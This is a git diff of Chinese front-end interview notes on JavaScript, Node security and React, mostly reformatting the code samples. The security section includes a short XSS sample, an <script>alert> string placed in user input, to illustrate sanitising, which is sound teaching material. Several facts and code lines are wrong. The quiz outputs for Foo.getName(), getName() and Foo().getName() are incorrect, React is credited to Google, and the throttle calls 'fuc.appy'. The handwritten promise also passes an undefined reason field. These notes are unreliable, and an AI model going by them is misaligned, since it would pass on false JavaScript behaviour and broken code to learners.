e.preventDefault ) { e.preventDefault(); } else { //
|
||||
IE中阻止函数器默认动作的方式 window.event.returnValue = false; } return false; }
|
||||
```
|
||||
|
||||
### 阻止冒泡
|
||||
|
||||
```html
|
||||
function stopBubble(e) {
|
||||
// 如果提供了事件对象,则这是一个非IE浏览器
|
||||
if ( e && e.stopPropagation ) {
|
||||
// 因此它支持W3C的stopPropagation()方法
|
||||
e.stopPropagation();
|
||||
} else {
|
||||
// 否则,我们需要使用IE的方式来取消事件冒泡
|
||||
window.event.cancelBubble = true;
|
||||
}
|
||||
}
|
||||
function stopBubble(e) { // 如果提供了事件对象,则这是一个非IE浏览器 if ( e &&
|
||||
e.stopPropagation ) { // 因此它支持W3C的stopPropagation()方法
|
||||
e.stopPropagation(); } else { // 否则,我们需要使用IE的方式来取消事件冒泡
|
||||
window.event.cancelBubble = true; } }
|
||||
```
|
||||
|
||||
### Ajax交互过程
|
||||
### Ajax 交互过程
|
||||
|
||||
```html
|
||||
创建XMLHttpRequest对象,也就是创建一个异步调用对象.
|
||||
创建一个新的HTTP请求,并指定该HTTP请求的方法、URL及验证信息.
|
||||
设置响应HTTP请求状态变化的函数.
|
||||
发送HTTP请求.
|
||||
获取异步调用返回的数据.
|
||||
设置响应HTTP请求状态变化的函数. 发送HTTP请求. 获取异步调用返回的数据.
|
||||
使用JavaScript和DOM实现局部刷新.
|
||||
```
|
||||
|
||||
### 考察知识点最广的JS面试题
|
||||
### 考察知识点最广的 JS 面试题
|
||||
|
||||
[https://www.cnblogs.com/xxcanghai/p/5189353.html](https://www.cnblogs.com/xxcanghai/p/5189353.html)
|
||||
|
||||
```html
|
||||
function Foo() {
|
||||
getName = function () { alert(1); }
|
||||
return this;
|
||||
}
|
||||
Foo.getName = function () { alert(2); }
|
||||
Foo.prototype.getName = function () { alert(3); }
|
||||
var getName = function () { alert(4); }
|
||||
function getName () { alert(5); }
|
||||
|
||||
|
||||
/* 写出输出 */
|
||||
Foo.getName(); 3
|
||||
getName(); 5
|
||||
Foo().getName(); 3
|
||||
getName();
|
||||
new Foo.getName();
|
||||
new Foo().getName();
|
||||
new new Foo().getName();
|
||||
function Foo() { getName = function () { alert(1); } return this; } Foo.getName
|
||||
= function () { alert(2); } Foo.prototype.getName = function () { alert(3); }
|
||||
var getName = function () { alert(4); } function getName () { alert(5); } /*
|
||||
写出输出 */ Foo.getName(); 3 getName(); 5 Foo().getName(); 3 getName(); new
|
||||
Foo.getName(); new Foo().getName(); new new Foo().getName();
|
||||
```
|
||||
|
||||
### splice和slice你能说说有啥用和区别吗
|
||||
### splice 和 slice 你能说说有啥用和区别吗
|
||||
|
||||
1. splice:是可以实现数组的增删改查、只对数组生效,会改变原数组
|
||||
2. slice:不光可以截取数组,也可以截取字符串,不会改变原数组
|
||||
@ -258,8 +206,8 @@ new new Foo().getName();
|
||||
1. 类数组不具备数组的方法(slice、splice、filter)
|
||||
2. 类数组是一个普通对象,数组类型是 Array
|
||||
|
||||
### JS 数组深浅拷贝
|
||||
|
||||
### JS数组深浅拷贝
|
||||
#### 浅拷贝
|
||||
|
||||
把一个对象的第一层拷贝到新的对象上去,只拷贝基本数据类型
|
||||
@ -272,8 +220,8 @@ var new_arr = arr.slice();
|
||||
|
||||
new_arr[0] = 'new';
|
||||
|
||||
console.log(arr) // ["old", 1, true, null, undefined]
|
||||
console.log(new_arr) // ["new", 1, true, null, undefined]
|
||||
console.log(arr); // ["old", 1, true, null, undefined]
|
||||
console.log(new_arr); // ["new", 1, true, null, undefined]
|
||||
|
||||
// concat 实现
|
||||
var arr = ['old', 1, true, null, undefined];
|
||||
@ -282,8 +230,8 @@ var new_arr = arr.concat();
|
||||
|
||||
new_arr[0] = 'new';
|
||||
|
||||
console.log(arr) // ["old", 1, true, null, undefined]
|
||||
console.log(new_arr) // ["new", 1, true, null, undefined]
|
||||
console.log(arr); // ["old", 1, true, null, undefined]
|
||||
console.log(new_arr); // ["new", 1, true, null, undefined]
|
||||
```
|
||||
|
||||
#### 深拷贝
|
||||
@ -292,62 +240,69 @@ console.log(new_arr) // ["new", 1, true, null, undefined]
|
||||
|
||||
```javascript
|
||||
// 简单版:不能拷贝 函数、undefined、symbol 、循环引用的对象
|
||||
var arr = ['old', 1, true, ['old1', 'old2'], {old: 1}];
|
||||
var arr = ['old', 1, true, ['old1', 'old2'], { old: 1 }];
|
||||
|
||||
var new_arr = JSON.parse(JSON.stringify(arr));
|
||||
|
||||
new_arr[0] = 'new';
|
||||
new_arr[3][0] = 'new1';
|
||||
|
||||
console.log(arr) // ["old", 1, true, ['old1', 'old2'], {old: 1}]
|
||||
console.log(new_arr) // ["new", 1, true, ['new1', 'old2'], {old: 1}]
|
||||
console.log(arr); // ["old", 1, true, ['old1', 'old2'], {old: 1}]
|
||||
console.log(new_arr); // ["new", 1, true, ['new1', 'old2'], {old: 1}]
|
||||
|
||||
// 复杂版,可以完美拷贝
|
||||
var deepCopy = function (obj) {
|
||||
if (typeof obj !== 'object') {
|
||||
return
|
||||
if (typeof obj !== 'object') {
|
||||
return;
|
||||
}
|
||||
var newObj = obj instanceof Array ? [] : {};
|
||||
for (var key in obj) {
|
||||
if (obj.hasOwnProperty(key)) {
|
||||
newObj[key] =
|
||||
typeof obj[key] === 'object' ? deepCopy(obj[key]) : obj[key];
|
||||
}
|
||||
var newObj = obj instanceof Array ? [] : {};
|
||||
for (var key in obj) {
|
||||
if (obj.hasOwnProperty(key)) {
|
||||
newObj[key] = typeof obj[key] === 'object' ? deepCopy(obj[key]) : obj[key];
|
||||
}
|
||||
}
|
||||
return newObj
|
||||
}
|
||||
}
|
||||
return newObj;
|
||||
};
|
||||
```
|
||||
|
||||
### 数组去重
|
||||
|
||||
```javascript
|
||||
// filter + indexOf
|
||||
function unique (arr) {
|
||||
var res = arr.filter(function (item, index, array) {
|
||||
return array.indexOf(item) === index;
|
||||
})
|
||||
return res;
|
||||
function unique(arr) {
|
||||
var res = arr.filter(function (item, index, array) {
|
||||
return array.indexOf(item) === index;
|
||||
});
|
||||
return res;
|
||||
}
|
||||
|
||||
//filter + sort
|
||||
function unique (arr) {
|
||||
return arr.concat().sort().filter(function (item, index, array) {
|
||||
return !index || item !== array[index - 1];
|
||||
})
|
||||
function unique(arr) {
|
||||
return arr
|
||||
.concat()
|
||||
.sort()
|
||||
.filter(function (item, index, array) {
|
||||
return !index || item !== array[index - 1];
|
||||
});
|
||||
}
|
||||
|
||||
// ES6
|
||||
function uniqu3 (arr) {
|
||||
return [... new Set(arr)];
|
||||
function uniqu3(arr) {
|
||||
return [...new Set(arr)];
|
||||
}
|
||||
```
|
||||
###
|
||||
|
||||
###
|
||||
|
||||
### 找出数组中的最大值
|
||||
|
||||
```javascript
|
||||
// reduce
|
||||
var arr = [6, 4, 1, 8, 2, 11, 3];
|
||||
|
||||
function max (prev, next) {
|
||||
return Math.max(prev, next)
|
||||
function max(prev, next) {
|
||||
return Math.max(prev, next);
|
||||
}
|
||||
|
||||
console.log(arr.reduce(max));
|
||||
@ -360,54 +315,60 @@ console.log(Math.max.apply(null, arr));
|
||||
//ES6
|
||||
var arr = [6, 4, 1, 8, 2, 11, 3];
|
||||
|
||||
function max (arr) {
|
||||
return Math.max(...arr);
|
||||
function max(arr) {
|
||||
return Math.max(...arr);
|
||||
}
|
||||
|
||||
console.log(max(arr));
|
||||
```
|
||||
|
||||
|
||||
### 数组扁平化
|
||||
|
||||
```javascript
|
||||
var arr = [1, [2, [3, 4]]];
|
||||
|
||||
function flatten(arr) {
|
||||
while (arr.some((item) => Array.isArray(item))) {
|
||||
arr = [].concat(...arr);
|
||||
}
|
||||
|
||||
while (arr.some(item => Array.isArray(item))) {
|
||||
arr = [].concat(...arr);
|
||||
}
|
||||
|
||||
return arr;
|
||||
return arr;
|
||||
}
|
||||
|
||||
console.log(flatten(arr))
|
||||
console.log(flatten(arr));
|
||||
```
|
||||
|
||||
|
||||
### 数据的基本类型
|
||||
|
||||
```javascript
|
||||
1. symbol 2. string 3. number 4. null 5. boolean 6. undefind
|
||||
```
|
||||
|
||||
|
||||
### 数据类型判断
|
||||
|
||||
> 关键语句:Object.prototype.toString.call(value) => [object ${Boolean Number String Function Array Date RegExp Object Error Null }]
|
||||
|
||||
```javascript
|
||||
var class2type = {};
|
||||
|
||||
'Boolean Number String Function Array Date RegExp Object Error Null Undefined'.split(' ').map((item, index) => {
|
||||
'Boolean Number String Function Array Date RegExp Object Error Null Undefined'
|
||||
.split(' ')
|
||||
.map((item, index) => {
|
||||
class2type['[object ' + item + ']'] = item.toLowerCase();
|
||||
})
|
||||
});
|
||||
|
||||
function type (obj) {
|
||||
return typeof obj === 'object' || typeof obj === 'function' ?
|
||||
class2type[{}.toString.call(obj)] || 'object' : typeof obj;
|
||||
function type(obj) {
|
||||
return typeof obj === 'object' || typeof obj === 'function'
|
||||
? class2type[{}.toString.call(obj)] || 'object'
|
||||
: typeof obj;
|
||||
}
|
||||
```
|
||||
|
||||
### 防抖
|
||||
|
||||
原理:创建一个闭包,然后通过调用创建好的函数和入参去执行
|
||||
应用场景是为了防止用户误触,而产生多次事件的触发,根本就是为了节省性能消耗
|
||||
|
||||
```javascript
|
||||
/*
|
||||
* func:需要调用的函数
|
||||
@ -441,6 +402,24 @@ var debounce = function (func, wait, immediate) {
|
||||
}
|
||||
```
|
||||
|
||||
## 节流
|
||||
|
||||
使用场景:把动作中的持续调用设置为固定时间内的调用,比如滚动事件,鼠标移入移出。
|
||||
|
||||
```js
|
||||
const throttle = (fuc, delay) => {
|
||||
let time = null;
|
||||
|
||||
return function () {
|
||||
const currentTime = new Date();
|
||||
|
||||
if (currentTime - time > delay) {
|
||||
fuc.appy(this, arguments);
|
||||
time = currentTime;
|
||||
}
|
||||
};
|
||||
};
|
||||
```
|
||||
|
||||
### 四则运算符
|
||||
|
||||
@ -454,16 +433,12 @@ var debounce = function (func, wait, immediate) {
|
||||
|
||||

|
||||
|
||||
|
||||
### ‘==’ 和 ‘===’ 有什么区别
|
||||
|
||||
|
||||
== 对比类型不一样会进行类型转换,而 ’===‘ 不会,下图为 ’==‘ 的判断步骤:
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
### 什么是闭包?
|
||||
|
||||
定义:函数 A 中有一个函数 B,函数 B 可以访问 A 的变量,那么函数 B 就是闭包。
|
||||
@ -471,6 +446,7 @@ var debounce = function (func, wait, immediate) {
|
||||
- 闭包就是引用其他函数内部变量的函数
|
||||
|
||||
1. 循环中使用闭包解决 `var` 定义函数的问题
|
||||
|
||||
```javascript
|
||||
方法1
|
||||
for (var i = 1; i <= 5; i++) {
|
||||
@ -509,7 +485,7 @@ for (let i = 1; i <= 5; i++) {
|
||||
```js
|
||||
const useCount = () = {
|
||||
let count = 0
|
||||
|
||||
|
||||
const getCount = () => {
|
||||
return count
|
||||
}
|
||||
@ -531,65 +507,74 @@ const useCount = () = {
|
||||
4. 回调函数
|
||||
|
||||
```js
|
||||
const fn = (cb: (name: string) => void) => {
|
||||
let name = 'nicecode'
|
||||
cb(name)
|
||||
}
|
||||
const fn = (cb: (name: string) => void) => {
|
||||
let name = 'nicecode';
|
||||
cb(name);
|
||||
};
|
||||
```
|
||||
|
||||
### 如何理解原型?如何理解原型链?
|
||||
|
||||
原型的本质就是一个对象,我们创建一个构造函数的时候,它自动会带上一个prototype属性,这个属性就指向原型对象。它的作用就是用来提供基于函数原型继承的共享属性
|
||||
原型的本质就是一个对象,我们创建一个构造函数的时候,它自动会带上一个 prototype 属性,这个属性就指向原型对象。它的作用就是用来提供基于函数原型继承的共享属性
|
||||
|
||||
当读取实例的属性获取不到时,如果找不到,就会查找与对象关联的原型中的属性,还找不到就会去找原型的原型,一直到顶层,这样的一层层的关系嵌套称为**原型链**
|
||||
|
||||
1. 每一个对象都有**__proto__**这是浏览器早期为了让我们能访问 prototype。
|
||||
2. _ _proto__ 的 constructor(构造函数)里面有 prototype。
|
||||
3. _ _proto__ 下面有几个方法:hasOwnProperty 、toString、toLocalString、valueOf、isPrototypeOf
|
||||
4. 原型的 `constructor` 属性指向构造函数,构造函数又通过 `prototype` 属性指回原型,但是并不是所有函数都具有这个属性,`Function.prototype.bind()` 就没有这个属性。
|
||||
1. 每一个对象都有****proto****这是浏览器早期为了让我们能访问 prototype。
|
||||
2. \_ \_proto\_\_ 的 constructor(构造函数)里面有 prototype。
|
||||
3. \_ \_proto\_\_ 下面有几个方法:hasOwnProperty 、toString、toLocalString、valueOf、isPrototypeOf
|
||||
4. 原型的 `constructor` 属性指向构造函数,构造函数又通过 `prototype` 属性指回原型,但是并不是所有函数都具有这个属性,`Function.prototype.bind()` 就没有这个属性。
|
||||
|
||||

|
||||
|
||||
## 理解 promise
|
||||
|
||||
promise 的出现是为了解决回调地狱(callback hell),它的其他API有:
|
||||
promise 的出现是为了解决回调地狱(callback hell),它的其他 API 有:
|
||||
|
||||
1. all(处理所有promise事件回调的合集)
|
||||
1. all(处理所有 promise 事件回调的合集)
|
||||
|
||||
```js
|
||||
let p1 = new Promise(function(resolve, reject) { resolve('ok1') })
|
||||
let p2 = new Promise(function(resolve, reject) { resolve('ok2') })
|
||||
let p3 = Promise.reject('err')
|
||||
let p1 = new Promise(function (resolve, reject) {
|
||||
resolve('ok1');
|
||||
});
|
||||
let p2 = new Promise(function (resolve, reject) {
|
||||
resolve('ok2');
|
||||
});
|
||||
let p3 = Promise.reject('err');
|
||||
|
||||
let res = Promise.all([p1,p2]).then(res => console.log(res))
|
||||
let res = Promise.all([p1, p2]).then((res) => console.log(res));
|
||||
// ['ok1', 'ok2']
|
||||
|
||||
let res2 = Promise.all([p1,p2,p3]).then(res => console.log(res)).catch(err => console.error(err))
|
||||
let res2 = Promise.all([p1, p2, p3])
|
||||
.then((res) => console.log(res))
|
||||
.catch((err) => console.error(err));
|
||||
// err
|
||||
```
|
||||
|
||||
2. race(获取最快的返回结果)
|
||||
|
||||
```js
|
||||
let p1 = new Promise(function(resolve, reject) { setTimeout(() => resolve('ok1'), 500) })
|
||||
let p2 = new Promise(function(resolve, reject) { setTimeout(() => resolve('ok2'), 1500) })
|
||||
let p1 = new Promise(function (resolve, reject) {
|
||||
setTimeout(() => resolve('ok1'), 500);
|
||||
});
|
||||
let p2 = new Promise(function (resolve, reject) {
|
||||
setTimeout(() => resolve('ok2'), 1500);
|
||||
});
|
||||
|
||||
let res = Promise.race([p1,p2]).then(res => console.log(res)) // ok1
|
||||
let res = Promise.race([p1, p2]).then((res) => console.log(res)); // ok1
|
||||
```
|
||||
|
||||
3. allSettled(忽视reject)
|
||||
3. allSettled(忽视 reject)
|
||||
|
||||
避免promise队列中有 reject 忽视。
|
||||
避免 promise 队列中有 reject 忽视。
|
||||
|
||||
### 手写一个 promise
|
||||
|
||||
```jsx
|
||||
import React, { useEffect, useState } from 'react';
|
||||
|
||||
const PENDING = 'PENDING'; // 处理中
|
||||
const FULFILLED = 'FULFILLED'; // 已完成
|
||||
const REJECTED = 'REJECTED'; // 已拒绝
|
||||
|
||||
const PENDING = 'PENDING'; // 处理中
|
||||
const FULFILLED = 'FULFILLED'; // 已完成
|
||||
const REJECTED = 'REJECTED'; // 已拒绝
|
||||
|
||||
class Prom {
|
||||
constructor(executor) {
|
||||
@ -602,61 +587,58 @@ class Prom {
|
||||
|
||||
let resolve = (val) => {
|
||||
if (this.status === PENDING) {
|
||||
this.status = FULFILLED
|
||||
this.value = val
|
||||
this.status = FULFILLED;
|
||||
this.value = val;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let reject = (err) => {
|
||||
if (this.status === PENDING) {
|
||||
this.status = REJECTED
|
||||
this.error = err
|
||||
this.status = REJECTED;
|
||||
this.error = err;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
try {
|
||||
// 立即执行,将 resolve 和 reject 函数传给使用者
|
||||
executor(resolve, reject)
|
||||
} catch (error) {
|
||||
// 发生异常时执行失败逻辑
|
||||
reject(error)
|
||||
}
|
||||
// 立即执行,将 resolve 和 reject 函数传给使用者
|
||||
executor(resolve, reject);
|
||||
} catch (error) {
|
||||
// 发生异常时执行失败逻辑
|
||||
reject(error);
|
||||
}
|
||||
}
|
||||
|
||||
then(onFulfilled, onReject) {
|
||||
if (this.status === FULFILLED) {
|
||||
onFulfilled(this.value)
|
||||
onFulfilled(this.value);
|
||||
}
|
||||
|
||||
if (this.status === REJECTED) {
|
||||
onReject(this.reason)
|
||||
onReject(this.reason);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export default() => {
|
||||
const [text, setText] = useState(PENDING)
|
||||
export default () => {
|
||||
const [text, setText] = useState(PENDING);
|
||||
|
||||
useEffect(() => {
|
||||
const promise = new Prom((resolve, reject) => {
|
||||
resolve('成功');
|
||||
}).then(
|
||||
(data) => {
|
||||
setText(data)
|
||||
console.log('手写promise', data)
|
||||
setText(data);
|
||||
console.log('手写promise', data);
|
||||
},
|
||||
(err) => {
|
||||
setText(err)
|
||||
console.log('faild', err)
|
||||
}
|
||||
)
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>{text}</div>
|
||||
)
|
||||
}
|
||||
setText(err);
|
||||
console.log('faild', err);
|
||||
},
|
||||
);
|
||||
}, []);
|
||||
|
||||
return <div>{text}</div>;
|
||||
};
|
||||
```
|
||||
|
||||
## async 和 await
|
||||
@ -666,6 +648,7 @@ export default() => {
|
||||
## 柯里化
|
||||
|
||||
特点:
|
||||
|
||||
1. 组合函数:可以将函数的逻辑简单化,并且达到更细粒度的代码拆分和复用
|
||||
2. 延迟执行:可以延迟执行最后一个参数执行的时间,在期间做一些其他逻辑的执行,剩余的到后面再决定
|
||||
3. 简单化函数:将参数从多参数拆为单参数,让接口简洁,更容易使用
|
||||
@ -674,41 +657,80 @@ export default() => {
|
||||
import React, { useEffect } from 'react';
|
||||
|
||||
function curry(a: number) {
|
||||
return function(b: number) {
|
||||
return function(offset: number) {
|
||||
return a + b + offset
|
||||
}
|
||||
}
|
||||
return function (b: number) {
|
||||
return function (offset: number) {
|
||||
return a + b + offset;
|
||||
};
|
||||
};
|
||||
}
|
||||
|
||||
export default () => {
|
||||
curry(1)(2)(3)
|
||||
curry(1)(2)(3);
|
||||
|
||||
return (
|
||||
<div>柯里化函数</div>
|
||||
)
|
||||
}
|
||||
return <div>柯里化函数</div>;
|
||||
};
|
||||
```
|
||||
|
||||
## event loop
|
||||
## event loop 事件循环机制
|
||||
|
||||
js 执行的过程中,会创建对应的执行上下文放入栈中,我们称之为执行栈,其中执行栈中的任务又会分为宏任务和微任务。按照流程执行就是一次宏任务的进行结束之后,查看是否有微任务,执行微任务,微任务执行完毕,再一次执行宏任务,就是所谓的 event loop
|
||||
js 执行的过程中,会创建对应的执行上下文放入栈中,我们称之为 **执行栈**,其中执行栈中的任务又会分为宏任务和微任务。按照流程执行就是一次宏任务的进行结束之后,查看是否有微任务,执行微任务,微任务执行完毕,再一次执行宏任务,就是所谓的 event loop
|
||||
|
||||
宏任务大概有:setTimeout()、setInterval()、setImmediate()、I/O、用户交互操作,UI渲染
|
||||
宏任务大概有:setTimeout()、setInterval()、setImmediate()、I/O、用户交互操作,UI 渲染
|
||||
|
||||
微任务则有:promise.then()、promise.catch()、new MutationObserver、process.nextTick()
|
||||
|
||||
```js
|
||||
// 抽现转具象的描述事件循环
|
||||
{
|
||||
tasks: [
|
||||
{
|
||||
script: '主代码块',
|
||||
},
|
||||
{
|
||||
script: 'innter的click回调函数',
|
||||
microtasks: [
|
||||
{
|
||||
script: 'Promise',
|
||||
},
|
||||
{
|
||||
script: 'MutationObserver',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
script: 'outer的click回调函数',
|
||||
microtasks: [
|
||||
{
|
||||
script: 'Promise',
|
||||
},
|
||||
{
|
||||
script: 'MutationObserver',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
script: 'setTimeout',
|
||||
},
|
||||
{
|
||||
script: 'setInterval',
|
||||
},
|
||||
];
|
||||
}
|
||||
```
|
||||
|
||||
## 堆、栈的区别
|
||||
|
||||
1. 基本数据类型一般内存小,放在栈中;引用数据类型一般内存大,放在堆中
|
||||
2. 栈的垃圾回收是执行环境结束立即释放,而堆需要所有引用结束才会释放
|
||||
3. 一般来说栈的效率要高于堆
|
||||
|
||||
## v8的垃圾回收机制
|
||||
## v8 的垃圾回收机制
|
||||
|
||||
执行js的过程中,根据对象的存活时间进行不同的分代,然后根据不同的分代采用不同的回收算法
|
||||
执行 js 的过程中,根据对象的存活时间进行不同的分代,然后根据不同的分代采用不同的回收算法
|
||||
|
||||
新生代的空间换时间 scavenge 算法是:1. 执行的过程中将空间分为 From 和 To 两块,2. 判断是否满足存活条件,存活的将变量复制到另一个空间,3. 不存活的直接清理。4. 将From 和 To 空间交换,如此循环往复
|
||||
新生代的空间换时间 scavenge 算法是:1. 执行的过程中将空间分为 From 和 To 两块,2. 判断是否满足存活条件,存活的将变量复制到另一个空间,3. 不存活的直接清理。4. 将 From 和 To 空间交换,如此循环往复。
|
||||
|
||||
另外就是新生代的内存为 8M 左右,属于一个短期生命变量储存的区域,如果在执行新生代算法标记的过程中,发现某个变量多次出现,就会移交到老生代垃圾回收算法区
|
||||
|
||||
老生代的标记清除和整理,运行的时候将活跃的变量标记,并进行整理到内存的一端,移除那些不活跃的空间进行释放回收
|
||||
|
||||
@ -730,7 +752,7 @@ js 执行的过程中,会创建对应的执行上下文放入栈中,我们
|
||||
|
||||
### 4. (unknown): Script error
|
||||
|
||||
当未捕获的 JavaScript 错误(通过window.onerror处理程序引发的错误,而不是捕获在try-catch中)被浏览器的跨域策略限制时,会产生这类的脚本错误。这是一种浏览器安全措施,旨在防止跨域传递数据,否则将不允许进行通信。
|
||||
当未捕获的 JavaScript 错误(通过 window.onerror 处理程序引发的错误,而不是捕获在 try-catch 中)被浏览器的跨域策略限制时,会产生这类的脚本错误。这是一种浏览器安全措施,旨在防止跨域传递数据,否则将不允许进行通信。
|
||||
|
||||
### 5. TypeError: Object doesn’t support property
|
||||
|
||||
@ -756,6 +778,6 @@ js 执行的过程中,会创建对应的执行上下文放入栈中,我们
|
||||
|
||||
当您尝试访问未定义的变量或超出当前范围的变量时,会引发此错误。
|
||||
|
||||
## 参考文章
|
||||
## 参考文章
|
||||
|
||||
<https://github.com/CavsZhouyou/Front-End-Interview-Notebook>
|
||||
|
@ -18,11 +18,11 @@ eval 的作用是将用户输入的字符串转化为可执行的代码,类似
|
||||
严格模式下的变量 **重复声明** 等操作会抛出一些隐藏的错误。
|
||||
|
||||
```javascript
|
||||
'use strict'
|
||||
'use strict';
|
||||
var obj = {
|
||||
a: '1',
|
||||
a: '2'
|
||||
}
|
||||
a: '2',
|
||||
};
|
||||
// 抛出错误 syntax error
|
||||
```
|
||||
|
||||
@ -52,30 +52,23 @@ child_process.exec('ls', function (err, data) {
|
||||
|
||||
## 7. 临时文件
|
||||
|
||||
|
||||
创建文件时,处理上传的文件要注意,这些文件可能会吃掉你的磁盘所有空间。
|
||||
|
||||
|
||||
> 使用 Streams。
|
||||
|
||||
## 8. 加密 Web 应用
|
||||
|
||||
|
||||
用 https 代替 http,请求的过程可以添加签名头。
|
||||
|
||||
|
||||
## 9. Reflected Cross Site Scripting
|
||||
|
||||
|
||||
也就是跨站脚本攻击,就是但用户发送一段数据,如果在未做任何处理的情况下直接插入 DOM,这可能会出现安全问题,例如:
|
||||
|
||||
|
||||
```javascript
|
||||
//用户输入的数据中带脚本,如果不做处理,会被执行。
|
||||
Im human <script>alert('I‘m hacker')<script>
|
||||
```
|
||||
|
||||
|
||||
> 处理方式:1. 对插入的数据进行验证,除去 HTML。
|
||||
|
||||
## 10. 看好你的 cookie
|
||||
@ -92,21 +85,65 @@ Content-Security-Policy: default-src 'self' *.mydomain.com
|
||||
|
||||
## 12. Cross-Site Request Forgery
|
||||
|
||||
跨站请求伪造是一种迫使终端用户在他目前已验证授权的Web应用程序中执行其它的actions。node 社区已实现,可以使用同步令牌模式处理。
|
||||
跨站请求伪造是一种迫使终端用户在他目前已验证授权的 Web 应用程序中执行其它的 actions。node 社区已实现,可以使用同步令牌模式处理。
|
||||
|
||||
## react 性能提升的几个方式
|
||||
|
||||
1. 如果是18之前可以将版本提升,挂载改成 createRoot,优化后的算法会比之前的强。
|
||||
1. 如果是 18 之前可以将版本提升,挂载改成 createRoot,优化后的算法会比之前的强。
|
||||
2. prerender 预加载首屏页面,提升网页的收录
|
||||
3. 给页面添加 loading,增加用户体验,可以通过 webpack 配置
|
||||
4. 通过请求头的时间限制来达到缓存的效果,协商缓存和强制缓存,节省浏览器的支出
|
||||
5. 动态引入polyfill:我们市面上90%以上的设备,其实都能支持最新的API,但是如果我们为了这10%的不支持用户从而去放弃90%的人的用户体验不值得,让它通过 UA 请求头来判断是否需要加载polyfill.
|
||||
5. 动态引入 polyfill:我们市面上 90%以上的设备,其实都能支持最新的 API,但是如果我们为了这 10%的不支持用户从而去放弃 90%的人的用户体验不值得,让它通过 UA 请求头来判断是否需要加载 polyfill.
|
||||
6. 使用 splitChunkPlugin 分离公共方法和独立的页面代码,提升复用率和加载速度
|
||||
7. 使用 DllPlugin,抽离一些公共包提升打包时间,这个包只有在版本变化的时候才会去重新打包
|
||||
8. tree shaking,webpack4.0是默认打开的
|
||||
8. tree shaking,webpack4.0 是默认打开的
|
||||
9. code splitting 按需加载页面的某个模块,提升页面加载速度
|
||||
10. 使用 placeholder 和 lazy-load 提升页面性能
|
||||
|
||||
## 遇到性能问题,页面加载速度慢,如何解决?
|
||||
|
||||
通过使用工具(比如 Lighthouse)进行性能分析,找出性能瓶颈。
|
||||
压缩和合并文件,减少 HTTP 请求。
|
||||
使用懒加载技术,仅在需要时加载图片和其他资源。
|
||||
优化图片大小和格式,以减小文件大小。
|
||||
引入缓存机制,减少不必要的重复请求。
|
||||
使用 CDN(内容分发网络)加速资源加载。
|
||||
问题:在跨浏览器兼容性方面遇到了什么问题?
|
||||
|
||||
## 我在一个项目中经历了跨浏览器兼容性的挑战。解决方法包括:
|
||||
|
||||
使用 CSS 前缀来处理不同浏览器的样式。
|
||||
使用特性检测(feature detection)而非浏览器检测,以确保代码在不同浏览器中正常运行。
|
||||
使用 Polyfills 填充 JavaScript 功能缺失。
|
||||
定期检查并更新代码,以适应新版本的浏览器。
|
||||
问题:遇到了一个难以调试的问题,是如何找到并解决的?
|
||||
|
||||
## 对于组件库开发的一些注意事项
|
||||
|
||||
1. 明确定义组件的用途和功能: 在开始开发之前,确保清晰地定义组件的用途和功能。考虑到组件库的可重用性,设计组件时应该尽量使其通用,同时提供足够的配置选项。
|
||||
|
||||
2. 选择开发工具: 选择适当的开发工具,例如构建工具(如 Webpack、Rollup)、版本控制工具(如 Git)、代码编辑器等。这些工具能够提高开发效率,并帮助你管理项目的复杂性。
|
||||
|
||||
3. 制定组件 API: 定义清晰的组件 API,包括组件的属性、方法、事件等。良好设计的 API 可以提高组件的易用性,并使用户更容易理解如何使用你的组件。
|
||||
|
||||
4. 组件的独立性: 确保组件是相互独立的,不依赖于外部环境的状态。这有助于提高组件的可移植性和可维护性。
|
||||
|
||||
5. 文档编写: 编写清晰、详细的文档,包括组件的使用方法、配置选项、API 文档、示例代码等。文档是用户了解和使用组件的关键,因此需要投入足够的时间和精力。
|
||||
|
||||
6. 测试: 编写单元测试和集成测试,确保组件的稳定性和可靠性。测试有助于捕捉潜在的问题,减少 bug,并提高代码质量。
|
||||
|
||||
7. 可定制性: 考虑组件的可定制性,通过提供配置选项或插槽(slot)等机制,使用户能够根据自己的需求调整组件的外观和行为。
|
||||
|
||||
8.主题化: 如果可能,考虑支持主题化,使用户能够轻松地更改组件的外观,以适应其应用的整体设计。
|
||||
|
||||
9. 版本管理: 使用语义化版本控制(Semantic Versioning)规范来管理组件库的版本,以确保用户能够明确了解每个版本的变化。
|
||||
|
||||
10. 发布和分发: 配置发布流程,将组件库发布到合适的包管理器(如 npm)。确保发布的组件库能够方便地被用户引入和使用。
|
||||
|
||||
11. 社区参与: 如果你希望你的组件库成为一个开放的社区项目,考虑设立一个开发者社区,接受用户的反馈、贡献和建议。
|
||||
|
||||
12. 持续维护: 组件库的维护是一个长期的过程。及时响应用户反馈,修复 bug,保持文档的更新,适应新的技术和标准。
|
||||
|
||||
## 参考文章
|
||||
|
||||
源码分析<https://react.iamkasong.com/#%E7%AB%A0%E8%8A%82%E8%AF%B4%E6%98%8E>
|
||||
|
@ -7,44 +7,52 @@ group:
|
||||
order: 6
|
||||
---
|
||||
|
||||
# React
|
||||
# React
|
||||
|
||||
google 出品的一款前端MVC框架,将所有可视化模块组件化,提升开发效率,在前端界具有跨时代意义,目前居于三大框架之首。
|
||||
google 出品的一款前端 MVC 框架,将所有可视化模块组件化,提升开发效率,在前端界具有跨时代意义,目前居于三大框架之首。
|
||||
|
||||
## 为什么选择 react 框架,而不是原生js
|
||||
## 为什么选择 react 框架,而不是原生 js
|
||||
|
||||
1. 复用率高:组件化的开发形式代码的复用率更高,交付更快,拓展性更强
|
||||
2. 生态成熟:目前基于react的生态圈比较完善,可以更快提升开发的效率
|
||||
3. 可读性强:相比较早年的js + jq的开发形式,MVC结构能够更好的提升代码的易读性,让开发更加清晰
|
||||
2. 生态成熟:目前基于 react 的生态圈比较完善,可以更快提升开发的效率
|
||||
3. 可读性强:相比较早年的 js + jq 的开发形式,MVC 结构能够更好的提升代码的易读性,让开发更加清晰
|
||||
|
||||
## 什么是 fiber 架构
|
||||
|
||||
react 需要经历两个阶段:
|
||||
|
||||
1. 将jsx转换成 AST 结构
|
||||
1. 将 jsx 转换成 AST 结构
|
||||
2. 新老 AST 结构进行比较,让后更新渲染到页面上
|
||||
|
||||
